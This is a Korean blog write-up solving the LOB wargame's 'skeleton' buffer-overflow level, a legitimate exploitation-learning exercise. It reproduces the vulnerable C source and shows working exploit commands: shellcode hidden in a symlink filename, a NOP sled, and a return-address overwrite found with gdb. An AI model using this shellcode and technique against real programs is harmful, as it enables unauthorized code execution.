LOB 10 - vampire write up |
/* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } |
다시 제약이 무지막지하게 많아졌다.. 이번에는 울트라 argv 헌터라니 막막하다 또한 이전 문제에서 제약을 걸지않았던 환경변수와 버퍼 초기화가 추가되었다
정리하면
환경변수, 버퍼 초기화
argv[1] 길이 제한
48번째 바이트 \xbf 고정
인자수는 1개 ( 즉 argv[2] 사용 x)
argv 전부 초기화 (????)
너무 막막해서 다른 분들의 라업을 참고해서 힌트를 얻었다.. 스택에 argv[0] 이 남아있는 것을 찾아냈어야하는데
이런 방법도 있구나 생각이 들었다.
힌트를 얻었으니 나도 한번 시도해보자. gdb로 뜯기위해 tmp 디렉토리를 생성하고 카피본을 만들어준다
[vampire@localhost tmp]$ ./skeleton `python -c 'print "A"*47+"\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿ Segmentation fault (core dumped) |
덤프 코어를 만들어주고 gdb로 뜯어보자
(gdb) x/1000s 0xbfffff00 |
진짜 argv[0]이 스택에 남아있는것을 확인할 수 있다.
argv[0]의 주소를 알게되었으니 이전 문제와 같은 방식으로 파일이름에 쉘코드를 넣어서 argv[0] 의 주소를 리턴해주면 문제를 해결할 수 있다.
힌트가 유효한 것을 내 눈으로 확인했으니 이전 문제에서 내가 푼 방식대로 문제를 해결해보자.
skeleton의 링크를 만들어주자.
ln -s skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` |
링크를 통해 skeleton을 실행하고 argv[1]로 48바이트를 채워 dump core를 만든다
./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*47 + "\xbf" '` |
코어를 gdb로 뜯어보면 내가 링크파일 이름으로 지정한 nop-sled와 쉘코드가 보인다.
즉 놉 슬레드가 시작되는 지점 적당한 곳으로 주소를 지정해주면 될 것이다
나는 0xbfffff80으로 지정하겠다.
ret 주소를 수정해서 다시 payload를 작성하자.
./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44 + "\x80\xff\xff\xbf" '` |
위의 페이로드로 시도했더니 안된다. 혹시나싶어서 nop-sled를 앞뒤로 좀 더 깔아서 다시 시도해보아야겠다고 생각이 들어서 다시해보았다.
처음에 앞뒤로 200개씩 했는데 file name too long 에러가 떠서 100개로 해서 앞뒤로 했다.
ln -s skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100 '` |
./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100 '` `python -c 'print "A"*47 + "\xbf" '` |
여기 적당한 주소로 다시시도해보자.
./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100 '` `python -c 'print "A"*44 + "\x10\xff\xff\xbf" '` |
성공했다.
지금은 tmp2 디렉토리에서 수행한거라 다음 문제 계정이 아닌 현재 로그인된 계정의 정보가 나온다 이제 위의 페이로드를 vampire 디렉토리에서 실행하자
성공 !!
nop-sled를 앞뒤로 깔아보자는 생각을 한게 잘한거같다. 다른 문제를 풀때도 이런 경우가 있으면
한번씩 시도해봐야겠다
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 9 - troll (0) | 2021.10.03 |
---|---|
[포너블] LOB 8 - orge (0) | 2021.10.03 |
[포너블] LOB 7 - darkelf (0) | 2021.10.03 |
[포너블] LOB 6 - wolfman (0) | 2021.09.30 |
[포너블] LOB 5 - orc (0) | 2021.09.30 |
댓글